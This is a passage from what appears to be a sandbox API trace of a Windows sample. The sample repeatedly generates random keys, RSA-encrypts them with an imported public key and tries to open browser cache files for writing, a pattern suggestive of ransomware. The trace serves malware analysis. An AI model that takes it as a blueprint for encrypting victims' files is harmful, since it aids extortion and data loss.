dwBufLen=0x800 | out: pbData=0xc940000*, pdwDataLen=0x285c984*=0x100) returned 1 [0249.147] GetLastError () returned 0x0 [0249.148] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.148] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4980) returned 1 [0249.150] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x677f9c8) returned 1 [0249.150] CryptGetKeyParam (in: hKey=0x677f9c8, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0249.150] CryptEncrypt (in: hKey=0x677f9c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc950000*, pdwDataLen=0x285c988*=0xc8, dwBufLen=0x800 | out: pbData=0xc950000*, pdwDataLen=0x285c988*=0x100) returned 1 [0249.150] GetLastError () returned 0x0 [0249.150] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0249.150] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\9101d3f2[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\9101d3f2[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0249.150] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4980) returned 1 [0249.154] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.156] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.156] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285c96c | out: pbBuffer=0x285c96c) returned 1 [0249.156] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0249.156] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4760) returned 1 [0249.159] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.161] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.161] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285c938 | out: pbBuffer=0x285c938) returned 1 [0249.161] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.162] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4e48) returned 1 [0249.164] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x6780808) returned 1 [0249.164] CryptGetKeyParam (in: hKey=0x6780808, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0249.164] CryptEncrypt (in: hKey=0x6780808, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc960000*, pdwDataLen=0x285c984*=0xc8, dwBufLen=0x800 | out: pbData=0xc960000*, pdwDataLen=0x285c984*=0x100) returned 1 [0249.164] GetLastError () returned 0x0 [0249.164] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.165] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4760) returned 1 [0249.166] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x67806c8) returned 1 [0249.166] CryptGetKeyParam (in: hKey=0x67806c8, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0249.166] CryptEncrypt (in: hKey=0x67806c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc970000*, pdwDataLen=0x285c988*=0xc8, dwBufLen=0x800 | out: pbData=0xc970000*, pdwDataLen=0x285c988*=0x100) returned 1 [0249.167] GetLastError () returned 0x0 [0249.167] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.167] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\d11fd6a0[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\d11fd6a0[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0249.167] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4760) returned 1 [0249.170] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.172] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.172] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285c96c | out: pbBuffer=0x285c96c) returned 1 [0249.172] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.172] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4e48) returned 1 [0249.175] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.177] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.178] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285c938 | out: pbBuffer=0x285c938) returned 1 [0249.178] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.178] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4760) returned 1 [0249.181] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x6780448) returned 1 [0249.181] CryptGetKeyParam (in: hKey=0x6780448, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0249.181] CryptEncrypt (in: hKey=0x6780448, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc980000*, pdwDataLen=0x285c984*=0xc8, dwBufLen=0x800 | out: pbData=0xc980000*, pdwDataLen=0x285c984*=0x100) returned 1 [0249.181] GetLastError () returned 0x0 [0249.181] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.181] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4e48) returned 1 [0249.183] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x6780608) returned 1 [0249.183] CryptGetKeyParam (in: hKey=0x6780608, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0249.183] CryptEncrypt (in: hKey=0x6780608, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc990000*, pdwDataLen=0x285c988*=0xc8, dwBufLen=0x800 | out: pbData=0xc990000*, pdwDataLen=0x285c988*=0x100) returned 1 [0249.183] GetLastError () returned 0x0 [0249.183] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.183] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\f544a93b[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\f544a93b[1].css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0249.183] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4980) returned 1 [0249.186] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.189] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.189] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285c96c | out: pbBuffer=0x285c96c) returned 1 [0249.189] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0249.189] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4760) returned 1 [0249.192] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.194] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.194] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285c938 | out: pbBuffer=0x285c938) returned 1 [0249.195] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.195] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4e48) returned 1 [0249.202] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x6780108) returned 1 [0249.202] CryptGetKeyParam (in: hKey=0x6780108, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0249.202] CryptEncrypt (in: hKey=0x6780108, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc9a0000*, pdwDataLen=0x285c984*=0xc8, dwBufLen=0x800 | out: pbData=0xc9a0000*, pdwDataLen=0x285c984*=0x100) returned 1 [0249.202] GetLastError () returned 0x0 [0249.202] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.202] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4760) returned 1 [0249.204] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x6780708) returned 1 [0249.204] CryptGetKeyParam (in: hKey=0x6780708, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0249.204] CryptEncrypt (in: hKey=0x6780708, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc9b0000*, pdwDataLen=0x285c988*=0xc8, dwBufLen=0x800 | out: pbData=0xc9b0000*, pdwDataLen=0x285c988*=0x100) returned 1 [0249.204] GetLastError () returned 0x0 [0249.204] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.204] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\f682f456[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\f682f456[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0249.204] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4980) returned 1 [0249.207] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.210] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.210] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285c96c | out: pbBuffer=0x285c96c) returned 1 [0249.210] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0249.210] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4760) returned 1 [0249.212] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.214] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.215] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285c938 | out: pbBuffer=0x285c938) returned 1 [0249.215] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.215] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4760) returned 1 [0249.217] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x6780308) returned 1 [0249.217] CryptGetKeyParam (in: hKey=0x6780308, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0249.217] CryptEncrypt (in: hKey=0x6780308, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc9c0000*, pdwDataLen=0x285c984*=0xc8, dwBufLen=0x800 | out: pbData=0xc9c0000*, pdwDataLen=0x285c984*=0x100) returned 1 [0249.217] GetLastError () returned 0x0 [0249.217] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.217] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4760) returned 1 [0249.219] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x6780488) returned 1 [0249.219] CryptGetKeyParam (in: hKey=0x6780488, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0249.219] CryptEncrypt (in: hKey=0x6780488, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc9d0000*, pdwDataLen=0x285c988*=0xc8, dwBufLen=0x800 | out: pbData=0xc9d0000*, pdwDataLen=0x285c988*=0x100) returned 1 [0249.220] GetLastError () returned 0x0 [0249.220] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.220] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\fce27fce[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\fce27fce[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0249.220] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4e48) returned 1 [0249.223] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.225] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.226] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285c96c | out: pbBuffer=0x285c96c) returned 1 [0249.226] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.226] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4e48) returned 1 [0249.229] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.231] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.231] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285c938 | out: pbBuffer=0x285c938) returned 1 [0249.231] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.231] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4760) returned 1 [0249.233] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x6780148) returned 1 [0249.233] CryptGetKeyParam (in: hKey=0x6780148, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0249.233] CryptEncrypt (in: hKey=0x6780148, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc9e0000*, pdwDataLen=0x285c984*=0xc8, dwBufLen=0x800 | out: pbData=0xc9e0000*, pdwDataLen=0x285c984*=0x100) returned 1 [0249.234] GetLastError () returned 0x0 [0249.234] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.234] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4e48) returned 1 [0249.236] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x6780188) returned 1 [0249.236] CryptGetKeyParam (in: hKey=0x6780188, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0249.236] CryptEncrypt (in: hKey=0x6780188, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc9f0000*, pdwDataLen=0x285c988*=0xc8, dwBufLen=0x800 | out: pbData=0xc9f0000*, pdwDataLen=0x285c988*=0x100) returned 1 [0249.236] GetLastError () returned 0x0 [0249.236] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.236] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\Init[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\init[1].htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0249.239] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0249.242] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.245] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.245] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0249.245] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.245] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0249.248] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.250] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.250] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0249.250] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.250] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0249.252] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x677f988) returned 1 [0249.252] CryptGetKeyParam (in: hKey=0x677f988, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0249.252] CryptEncrypt (in: hKey=0x677f988, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca00000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xca00000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0249.253] GetLastError () returned 0x0 [0249.253] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.253] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0249.254] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67801c8) returned 1 [0249.254] CryptGetKeyParam (in: hKey=0x67801c8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0249.254] CryptEncrypt (in: hKey=0x67801c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca10000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xca10000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0249.255] GetLastError () returned 0x0 [0249.255] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.255] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\DOMStore\\ETFMMWBM\\www.bing[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\domstore\\etfmmwbm\\www.bing[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0249.256] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0249.259] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.261] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.261] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0249.261] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.261] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0249.264] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.266] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.266] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0249.266] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.266] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0249.268] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6780288) returned 1 [0249.268] CryptGetKeyParam (in: hKey=0x6780288, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0249.269] CryptEncrypt (in: hKey=0x6780288, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca20000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xca20000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0249.269] GetLastError () returned 0x0 [0249.269] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.269] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0249.271] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, 